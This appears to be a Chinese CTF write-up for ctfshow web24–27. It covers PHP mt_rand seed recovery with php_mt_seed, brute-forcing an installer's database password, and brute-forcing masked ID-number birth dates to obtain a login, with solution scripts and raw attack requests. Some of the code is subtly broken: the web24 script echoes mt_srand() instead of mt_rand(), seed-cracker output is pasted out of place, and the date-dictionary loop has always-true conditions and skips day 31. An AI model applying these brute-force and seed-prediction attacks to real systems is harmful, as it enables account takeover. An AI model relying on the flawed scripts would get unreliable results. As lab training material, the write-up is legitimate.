web24

原始信息

if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

解题

源码分析:

if(isset($_GET['r'])){
$r = $_GET['r'];
# 定义随机数的种子为372619038,则下一个随机数就是确定的
mt_srand(372619038);
# 将get获取到数字转换为整数后与随机数进行匹配
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这是一个伪随机数。自定义了种子开始下一个数字就是确定的。
破解脚本也简单:

<?php
mt_srand(372619038);
echo mt_srand();
?>

把得到的值进行get参数传递就OK了。

http://3ff2305d-96f6-4f2f-aa5f-382154355b97.challenge.ctf.show/?r=1155388967

web25

原始信息

if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

seed = 0x2b620749 = 727844681 (PHP 7.1.0+)
Found 3, trying 0x52000000 - 0x53ffffff, speed 244.4 Mseeds/s
seed = 0x538ebcf4 = 1401863412 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x538ebcf4 = 1401863412 (PHP 7.1.0+)
Found 5, trying 0xa0000000 - 0xa1ffffff, speed 241.4 Mseeds/s
seed = 0xa12ce2de = 2704073438 (PHP 5.2.1 to 7.0.x; HHVM)
Found 6, trying 0xac000000 - 0xadffffff, speed 242.1 Mseeds/s
seed = 0xac23de52 = 2888031826 (PHP 5.2.1 to 7.0.x; HHVM)
Found 7, trying 0xb6000000 - 0xb7ffffff, speed 242.7 Mseeds/s
seed = 0xb63797f7 = 3057096695 (PHP 5.2.1 to 7.0.x; HHVM)
Found 8, trying 0xfe000000 - 0xffffffff, speed 242.3 Mseeds/s

解题

源码解析:

if(isset($_GET['r'])){
$r = $_GET['r'];

# 按内到外解析:
# md5($flag) md5加密
# substr(md5($flag), 0,8)); 切割字符串,从0到8(下标)
# hexdec(...); 十六进制转10进制
# mt_srand(...); 把获取的整数作为随机数的种子
mt_srand(hexdec(substr(md5($flag), 0,8)));
# 传入的参数与$r进行互减
$rand = intval($r)-intval(mt_rand());
# 如果$rand=0则通过这个if判断
if((!$rand)){
# 如果token参数值等于随机数的参数和,得到flag
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
# 得到rand参数值(突破口)
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这道题的解法很明朗了。

选择这个东西

使用get传参,获得第一个随机数值(传个0不就知道了)
/?r=2063909976


https://www.openwall.com/php_mt_seed/
上面那个网址是工具网址,下面的部分是带链接的字体,选择4.0的版本下载
php_mt_seed 4.0 and its signature
php_mt_seed 3.4 and its signature
下载完成放到Linux解压后,使用make创建
make后,使用如下方法获得seed种子:
[xxx@root php]# ./php_mt_seed 2063909976

然后得到下面输出,我们选一个版本对应的输出测试完后
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0x28000000 - 0x2bffffff, speed 33554.4 Mseeds/s
seed = 0x2861dbc0 = 677501888 (PHP 3.0.7 to 5.2.0)
seed = 0x2861dbc1 = 677501889 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 24869.8 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x2a000000 - 0x2bffffff, speed 241.3 Mseeds/s
seed = 0x2b620749 = 727844681 (PHP 7.1.0+)
Found 3, trying 0x52000000 - 0x53ffffff, speed 244.4 Mseeds/s
seed = 0x538ebcf4 = 1401863412 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x538ebcf4 = 1401863412 (PHP 7.1.0+)
Found 5, trying 0xa0000000 - 0xa1ffffff, speed 241.4 Mseeds/s
seed = 0xa12ce2de = 2704073438 (PHP 5.2.1 to 7.0.x; HHVM)
Found 6, trying 0xac000000 - 0xadffffff, speed 242.1 Mseeds/s
seed = 0xac23de52 = 2888031826 (PHP 5.2.1 to 7.0.x; HHVM)
Found 7, trying 0xb6000000 - 0xb7ffffff, speed 242.7 Mseeds/s
seed = 0xb63797f7 = 3057096695 (PHP 5.2.1 to 7.0.x; HHVM)
Found 8, trying 0xfe000000 - 0xffffffff, speed 242.3 Mseeds/s
Found 8

得到727844681这个种子后,写个脚本跑出token值:

mt_srand(727844681);  
echo mt_rand().'====='; (比对用的,确保值是2063909976)
echo mt_rand()+mt_rand(); (这个是token值)

得到token值1954019096后,填入数据包,flag就出来了:

GET /?r=2063909976 HTTP/1.1
Host: 48d434c2-2c5d-4177-8885-4a3adc40d9d0.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://48d434c2-2c5d-4177-8885-4a3adc40d9d0.challenge.ctf.show/?r=2063909976
Upgrade-Insecure-Requests: 1
Cookie: token=1954019096

总结

php随机数种子的逆推。

web26

原始信息

终于碰到一条正经的爆破题了……

这是个安装某个web站点的页面,也就类似于我们使用CMS装载站点开始界面那样子。

这个的问题是什么呢?这个的2问题是链接数据库的部分。具体情况是这样子的:

<div class="pc-kk-form-list">
<input id="a" type="text" placeholder="数据库地址:localhost">
</div>
<div class="pc-kk-form-list">
<input id="p" type="text" placeholder="端口:3306">
</div>
<div class="pc-kk-form-list">
<input id="d" type="email" placeholder="数据库:ctf">
</div>
<div class="pc-kk-form-list">
<input id="u" type="email" placeholder="用户名:root">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="tel" placeholder="密码:123456">
</div>

然后你照着默认值输入就报错了。

解题

这里具体要爆破的值是哪个?

一般建站的情况是这样子的:

数据库地址本地建站一般是默认的,端口也是默认的。

数据库名呢?数据库一般是输入个名字自己创建的。

那剩下的就是用户名和密码。

用户名和密码一般状况下的管理员是谁呢?

当然是默认的root

唯一不一样的就是密码。不同的中间件密码是不一样的。

所以说,默认的其他信息照常,就单独爆破密码即可。

密码爆破

POST /checkdb.php HTTP/1.1
Host: 9f4a6326-2b38-4d9d-b146-16bd7c42c676.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 43
Origin: http://9f4a6326-2b38-4d9d-b146-16bd7c42c676.challenge.ctf.show
Connection: close
Referer: http://9f4a6326-2b38-4d9d-b146-16bd7c42c676.challenge.ctf.show/install.php?

a=localhost&p=3306&d=ctf&u=root&pass=§123456§

这里的爆破点就是§123456§,使用top1000直接爆出即可:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 08 Aug 2023 13:23:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.11
Content-Length: 122

{"success":true,"msg":"\u6570\u636e\u5e93\u8fde\u63a5\u6210\u529f","flag":"ctfshow{468eb915-9764-4bc3-bde3-cf4baf9b307b}"}

这题就是简单分析,没什么收获。

web27

原始信息

这题目,开头就给了个登录框:

<form name="form1" onsubmit="return false;" id="form1">
<div class="login_main">
<div class="login_logo">
<h2><IMG src="logo/logo_school.png"></h2>
<h3><IMG src="logo/logo_jw.png"></h3>
</div>
<div class="login_left"><IMG class="login_pic" src="logo/login_pic.png"></div>
<div class="login_right">
<dl style="MARGIN-TOP: 92px">
<dt class="uesr">
<label id="lbYhm">学号:</label>
</dt>
<dd>
<input id="a" name="username" type="text" id="txtUserName" tabindex="1" class="text_nor"
autocomplete="off" />
</dd>
</dl>
<div style="CLEAR: both"></div>
<dl>
<dt class="passw">
<label id="lbMm">密码:</label>
</dt>
<dd>
<input id="p" name="password" type="password" id="Textbox1" tabindex="2" class="text_nor"
autocomplete="off" /><input name="TextBox2" type="password" id="TextBox2" tabindex="2"
class="text_nor" onblur="update(this);" autocomplete="off" style="DISPLAY: none" />
</dd>
</dl>
<div style="CLEAR: both"></div>
<div style="CLEAR: both"></div>
<dl>
<dd>
<table id="RadioButtonList1" border="0">
<tr>
<td><input id="RadioButtonList1_0" type="radio" name="RadioButtonList1" value="部门"
tabindex="4" /><label for="RadioButtonList1_0">部门</label></td>
<td><input id="RadioButtonList1_1" type="radio" name="RadioButtonList1" value="教师"
tabindex="4" /><label for="RadioButtonList1_1">教师</label></td>
<td><input id="RadioButtonList1_2" type="radio" name="RadioButtonList1" value="学生"
checked="checked" tabindex="4" /><label for="RadioButtonList1_2">学生</label></td>
<td><input id="RadioButtonList1_3" type="radio" name="RadioButtonList1" value="访客"
tabindex="4" /><label for="RadioButtonList1_3">访客</label></td>
</tr>
</table>
</dd>
<dt></dt>
</dl>
<div style="CLEAR: both"></div>
<dl>
<dd>
<input type="button" onclick="check();" name="Button1" value="" id="Button1" class="btn_dl" /><input
type="submit" name="Button2" value="" id="Button2" class="btn_cz" /><input name="lbLanguage"
type="text" id="lbLanguage" style="DISPLAY: none" />

<p><a href="list.xlsx" id="linkForget" target="_blank">录取名单</a><br>
<A href="info/query.php" target="_blank">
<span id="lbSelect">学生学籍信息查询系统</span></A>
</p>
</dd>
</dl>
</div>
<div class="login_copyright"><IMG src="logo/二维码.png"><span>&copy;1999-2017 <a href="http://www.zfsoft.com"
target="_blank">正方软件股份有限公司</a> <span>版权所有</span></span>
<input name="hidPdrs" id="hidPdrs" type="hidden" size="5" /><input name="hidsc" id="hidsc" type="hidden"
size="5" />
</div>
</div>
</form>
<script>
function check() {
$.ajax({
url: 'checklogin.php',
type: 'POST',
dataType: 'json',
data: {
'a': $('#a').val(),
'p': $('#p').val()
},
success: function (data) {
alert(data['msg']);
},
error: function (data) {
alert(data['msg']);
}
});
}
</script>

就是学号和密码。剩下的还有:

录取名单+学生学籍信息查询系统。录取名单给出的是exel,而后一项给出的是一个查询操作:

<div class="pc-kk-form">
<center>
<h1>学院录取查询</h1>
</center><br><br>
<form action="">
<div class="pc-kk-form-list">
<input id="a" type="text" placeholder="姓名">
</div>
<div class="pc-kk-form-list">
<input id="p" type="text" placeholder="身份证号码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">查询</button>
</div>
<br>
<div class="pc-kk-form-btn">
<button onclick="window.open('../index.php');">返回登陆</button>
</div>
</form>
</div>
<script type="text/javascript" src="js/jquery.min.js"></script>
<script>
function check() {
$.ajax({
url: 'checkdb.php',
type: 'POST',
dataType: 'json',
data: {
'a': $('#a').val(),
'p': $('#p').val()
},
success: function (data) {
alert(data['msg']);
},
error: function (data) {
alert(data['msg']);
}
});
}
</script>

list.xlsx信息如下:

CTFshow菜鸡学院录取名单
序号 姓名 专业 身份证号码 备注
1 高先伊 WEB 621022********5237
2 嵇开梦 MISC 360730********7653 党员
3 郎康焕 RE 522601********8092
4 元羿谆 PWN 451023********3419 生源地贷款
5 祁落兴 CRYPTO 410927********5570

621022000000005237

解题

字典构造分析

想要获取信息,就必须从登录下手。登录下手的话,剩下的7个“*”就是必须破解的了。

根据下面的校验方法,我们可以非常轻易的知道,那几个点就是日期。

相关规则取材点我

/**
* 18位二代身份证号码的正则表达式
*/
public static final String REGEX_ID_NO_18 = "^"
+ "\\d{6}" // 6位地区码
+ "(18|19|([23]\\d))\\d{2}" // 年YYYY
+ "((0[1-9])|(10|11|12))" // 月MM
+ "(([0-2][1-9])|10|20|30|31)" // 日DD
+ "\\d{3}" // 3位顺序码
+ "[0-9Xx]" // 校验码
+ "$";

/**
* 15位一代身份证号码的正则表达式
*/
public static final String REGEX_ID_NO_15 = "^"
+ "\\d{6}" // 6位地区码
+ "\\d{2}" // 年YYYY
+ "((0[1-9])|(10|11|12))" // 月MM
+ "(([0-2][1-9])|10|20|30|31)" // 日DD
+ "\\d{3}"// 3位顺序码
+ "$";

如果是按照位数算,那七百万以上的数据量有点……

想办法缩小范围测试。

年月日,假设从2000年开始计算,月是从1到12,.

再思考下,学生系统,哪怕是幼儿园,最少应该也不低于3岁,那么可以确定最近3年的能计入学业的人少之又少。

再倒退下,假设开设web的学生班在低年级开设,至少也得上小学一二年级吧?

那也就是说,最近的四到5年出生的孩子不会录入系统。

尝试构造个字典来破解:

# 因为生成2000年到2018年的无效
# 尝试在2000年的基础上倒退10年
with open('year_month_day.txt','w') as file:
for i in range(1990,2000):
for j in range(1, 13):
for k in range(1, 31):
# print(k)
if (j in [1,3,5,7,8,10,12]) and (0 < k or k <= 31):
string = str(i) + '{:0>2}'.format(str(j)) + '{:0>2}'.format(str(k))
file.write(string + '\n')
elif 0 < k or k < 31:
string = str(i) + '{:0>2}'.format(str(j)) + '{:0>2}'.format(str(k))
file.write(string + '\n')

分析ajax

下面分析出来的信息也就是POST传输两个参数。

function check() {
$.ajax({
// 证明URL访问的文件地址在同一级目录下
url: 'checkdb.php',
// POST传输
type: 'POST',
dataType: 'json',
data: {
// 参数列表
'a': $('#a').val(),
'p': $('#p').val()
},
success: function (data) {
alert(data['msg']);
},
error: function (data) {
alert(data['msg']);
}
});
}

这样子,就能构造下数据包去爆破了:

POST /info/checkdb.php HTTP/1.1
Host: 144e919b-09ef-4352-89cb-24fba1323334.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

a=%E9%AB%98%E5%85%88%E4%BC%8A&p=621022§00000000§5237

上面标志的00000000是爆破的地方,爆破出来的数据包如下:

注意:爆破依赖的是BP,且爆破出来的特征是回显的数据包长度不同。

POST /info/checkdb.php HTTP/1.1
Host: 144e919b-09ef-4352-89cb-24fba1323334.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

a=%E9%AB%98%E5%85%88%E4%BC%8A&p=621022199002015237

回响的内容如下:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 10 Aug 2023 14:46:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.11
Content-Length: 195

{"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}

这个数据包就夹杂着我们需要的信息:

解码unicode平台点我

\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801
解码为:
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

登录后就拿到flag了。

总结

今天唯一吃瘪的地方,是构造字典脚本的那一部分。
当时一个疏忽把“日”部分少构造了一个0导致浪费了一大堆时间。
后面二次构造的时候还是得注意下脚本的构造问题。